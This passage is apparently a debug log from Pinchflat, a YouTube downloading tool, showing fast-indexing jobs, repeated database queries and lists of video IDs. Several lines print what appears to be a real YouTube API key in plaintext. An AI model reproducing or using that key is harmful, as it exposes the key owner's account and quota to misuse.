16:15:38.889 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:38.889 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:15:39.041 [debug] QUERY OK source="media_items" db=0.7ms idle=151.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [27, "Tuxgh8SrzbQ", "DWAMwfM2DrM", "-TvOCDbhCWk", "WAeTROAfSTs", "nhbeaHuZMQ0", "Se1NPlfUCss", "kSPrY4NHqow", "dpNfJm2Ql90", "mIBhWgYWVPA", "P4351ixgP4M", "X2qcTrprMqE", "GEhwXAIjDls", "_5aHHg4A_vY", "xeRSef7jMYc", "nz6sgR01Tt8", "bmFRqSs1QAM", "EBgxa8OzjB8", "F-CFdCp0xaw", "lt07jcPvG2Y", "dy0WZVpyiTM", "vY0-eZ-GGEg", "sWGUo_iiaZE", "HhRgPVNQLww", "yxEh9tnRTbY", "MwTaGjsdxU4", "bdR4HyeABfA", "dJtzXpW15HI", "mqt_FdmDq4k", "DhvkZ8pmXlc", "m51SX5cz9ow", "AsJquvKz07E", "ZsdV3VEyQxY", "vlHmd2-PlfE", "fwLan9mLJLQ", "56Eq3EMYX68", "PB-4WqzXzoA", "lT1v5RdCl6s", "bIMQO0Q4iRc", "YcfKFfOQ9W8", "u8s9hpjN25Y", "rlyU9AMaq9g", "rg1xXCzLdQ0", "myh9AZRK6hI", "qRc9W2ss-GE", "uz6xrE8WZHc", "WnNVgRyWUi8", "ub-Qr2U4DzA", "OSCKBmkrH_g", "2Yjiwz5sxzE", ...] 16:15:39.042 [debug] QUERY OK source="media_items" db=0.9ms idle=152.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [27] 16:15:39.043 [debug] QUERY OK source="tasks" db=0.1ms idle=154.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268190, 27, ~U[2026-10-09 21:15:39Z], ~U[2026-10-09 21:15:39Z]] 16:15:39.044 [info] {"args":{"id":27},"id":5268150,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":155787,"event":"job:stop","queue_time":700460,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:15:39.889 [info] {"args":{"id":18},"id":5268151,"meta":{},"system_time":1791580539889228464,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:15:39.889 [info] {"args":{"id":1},"id":5268152,"meta":{},"system_time":1791580539889285521,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:15:39.889 [debug] QUERY OK source="sources" db=0.1ms idle=845.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [18] 16:15:39.889 [debug] QUERY OK source="sources" db=0.2ms idle=845.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:15:39.889 [debug] QUERY OK source="settings" db=0.1ms idle=839.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:39.889 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:39.890 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:15:39.890 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:15:39.890 [debug] QUERY OK source="settings" db=0.2ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:39.890 [debug] Fetching recent media IDs from YouTube API for playlist: UUQ5w3fSomzziZfO7neK7eAg 16:15:39.890 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:39.890 [debug] Fetching recent media IDs from YouTube API for playlist: UUXuqSBlHAE6Xw-yeJA0Tunw 16:15:39.890 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:39.890 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:15:39.890 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:39.890 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:15:40.091 [debug] QUERY OK source="media_items" db=0.7ms idle=200.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [18, "cmwW_7Abt1U", "4uSSn65kjoY", "VvVF9MpNKOM", "K62b5JcIyws", "7YMs4CC-4fg", "LKW7jxxzgY0", "3uAJj9IG5L0", "laNbCG1X0bc", "KAa-oD5ip6g", "o3gI3hJ8y9g", "QZZCVVpRPCw", "fYQ-7t0NVSY", "OkMhgv-LVFs", "UrimWxUfPYM", "JYT2by9OsNU", "Nre7c3KGDLI", "Jn_mEQzU2uU", "vgM7E9gyyfA", "-yzDkpEFPso", "P3hLiuMw06E", "1Lj_Vx_YLic", "MMMREpB4_Uw", "jTCzE-t_zwM", "lboQeOpiHDQ", "TW0E1KFVuFY", "7VFv3s7gpdU", "vyYSPIfCLdc", "nNNs5FtLnTc", "qo9gdGAdTVs", "prdfB6Ajd-0", "ivSZoARtMtU", "fOr5r_a3n5c", "PDJdtrrXlBc", "MAw0IOv6g2I", "VY4oO2EoURA", "TJ9QPLFRwgU", "SL3I3HRltxY", "JKDISzBlzow", "3rd0HjHoQzE", "7xwicE-ysdA", "09a59YumUcI", "0tmYqrYddLY", "VNnyrwFoIkg", "m-Wt81X5Z4k", "rftUQzr5MNY", "pXjsYsJR8eU", "prJa6chyjqQ", "e8MxxudBYHk", "a_0XQWA15FI", ...] 16:15:40.093 [debug] QUERY OK source="media_items" db=0.9ms idle=201.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [18] 16:15:40.094 [debug] QUERY OK source="tasks" db=0.1ms idle=203.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268191, 18, ~U[2026-10-09 21:15:40Z], ~U[2026-10-09 21:15:40Z]] 16:15:40.094 [info] {"args":{"id":18},"id":5268151,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":204927,"event":"job:stop","queue_time":731676,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:15:40.333 [debug] QUERY OK source="media_items" db=0.6ms idle=238.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "LttGyjX-QxE", "t28bEMboL9Y", "ijFSEb2W6_8", "79s8O7Cipl0", "1H20xp8Brnc", "y1hZ3EalPQU", "zH9bqwNShiM", "1gxnANAbLuE", "Fx0x3oI_ngo", "DLOQOUWmRpI", "p-EXFD_DHmc", "XM04mbymDsE", "GaX0frxNwfQ", "SuIhqDP2VHw", "Z1sqWFs86uU", "pJWqvVnDT0A", "qgLaCZyKv_8", "Zzzkg_ZrOII", "zg-rMHEqg-4", "3xngArcFpek", "y9rtvIUjVQw", "3PGKMwgjla0", "i_nj_vkD03g", "pvSdeU13hKc", "_p331WEfEIs", "VfQdPRyqQW4", "n5wuk8Uci_4", "sL6OWsT47zc", "FYDvDoxBU6c", "2KztkwBYD68", "nZwdIPg7N3A", "lmLh29LE2W4", "MtkoClsRvCU", "X8sgBpmdCT8", "fX-g6XNrkiA", "81wg425C8z0", "LYMvJW5rYME", "RC138pD_7_s", "yFJDP7OinRM", "tklAv8hcG9s", "oeqUHEp4sYM", "H4BKUbtCmp0", "ZWCAXHNOIcA", "DXK-F0SjC_E", "04MFcE-ntxQ", "QfCW5bXvwII", "36oL-7C_qR4", "AHP423JqiLc", "vzg5cv785j4", ...] 16:15:40.345 [debug] QUERY OK source="media_items" db=11.6ms idle=239.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 16:15:40.346 [debug] QUERY OK source="tasks" db=0.1ms idle=245.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268192, 1, ~U[2026-10-09 21:15:40Z], ~U[2026-10-09 21:15:40Z]] 16:15:40.346 [info] {"args":{"id":1},"id":5268152,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":456873,"event":"job:stop","queue_time":469654,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:15:40.890 [info] {"args":{"id":5},"id":5268153,"meta":{},"system_time":1791580540890225328,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:15:40.890 [info] {"args":{"id":16},"id":5268154,"meta":{},"system_time":1791580540890265593,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:15:40.890 [debug] QUERY OK source="sources" db=0.1ms idle=544.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 16:15:40.890 [debug] QUERY OK source="sources" db=0.2ms idle=544.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [16] 16:15:40.890 [debug] QUERY OK source="settings" db=0.1ms idle=537.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:40.891 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:40.891 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:15:40.891 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:15:40.891 [debug] QUERY OK source="settings" db=0.3ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:40.891 [debug] Fetching recent media IDs from YouTube API for playlist: UUWFKCr40YwOZQx8FHU_ZqqQ 16:15:40.891 [debug] QUERY OK source="settings" db=0.1ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:40.891 [debug] Fetching recent media IDs from YouTube API for playlist: UUBa659QWEk1AI4Tg--mrJ2A 16:15:40.891 [debug] QUERY OK source="settings" db=0.1ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:40.892 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:15:40.892 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:40.892 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:15:41.003 [debug] QUERY OK source="media_items" db=0.6ms idle=111.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5, "9C4kJmNsd4g", "B09GJ5ynuKg", "yw3o8PSoWqs", "A5hZXRAZwiY", "tnszTTzGvmU", "hly-3fiHARI", "fd0k8u9XvQk", "Pc1JzImPw_M", "WUlLIo9LI-w", "vN44jvYD0aY", "AaqCYyrugzo", "6q-2bxQnaYA", "EnWmuc-J8i8", "GXkwWjAzQYI", "ls4jmJL8TeI", "79X9SL172oo", "ZPRKLg5ZR-8", "rHCpgtc5nzs", "5xO1jF1cVe8", "eZ5VpPJjddA", "jUT3rUZGqLA", "Ld0Bbf_Dpg0", "0pXrDVfe8A4", "i8BnXGr4mp0", "oQcw9ZZ_PxQ", "HZOYCMkic0E", "wCkFcD-2fI8", "ndmKkH2UU-Y", "hz1LmOcleGc", "lIOTxSlkuBc", "OO_JawE3fLs", "ojlTFAccjlQ", "F_A9UqXvLnE", "X_ERoyn1BUg", "25185B-tWCI", "zhL2FIiW2Ts", "QtrKAvLCJ2g", "Rm9rTYB7CdQ", "_Y-D4gYIVe4", "Pb-FPK2NGpw", "R11qUdPD3dw", "WbLI7U2hLyA", "pM1qgJMBqMw", "DRUDiwHRC60", "M16lt1D0OaI", "oJZecXmgXpA", "BqQ86_MIvp8", "PR5mykiFzN4", "FwyYsf9AGKw", ...] 16:15:41.007 [debug] QUERY OK source="media_items" db=3.0ms idle=112.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 16:15:41.008 [debug] QUERY OK 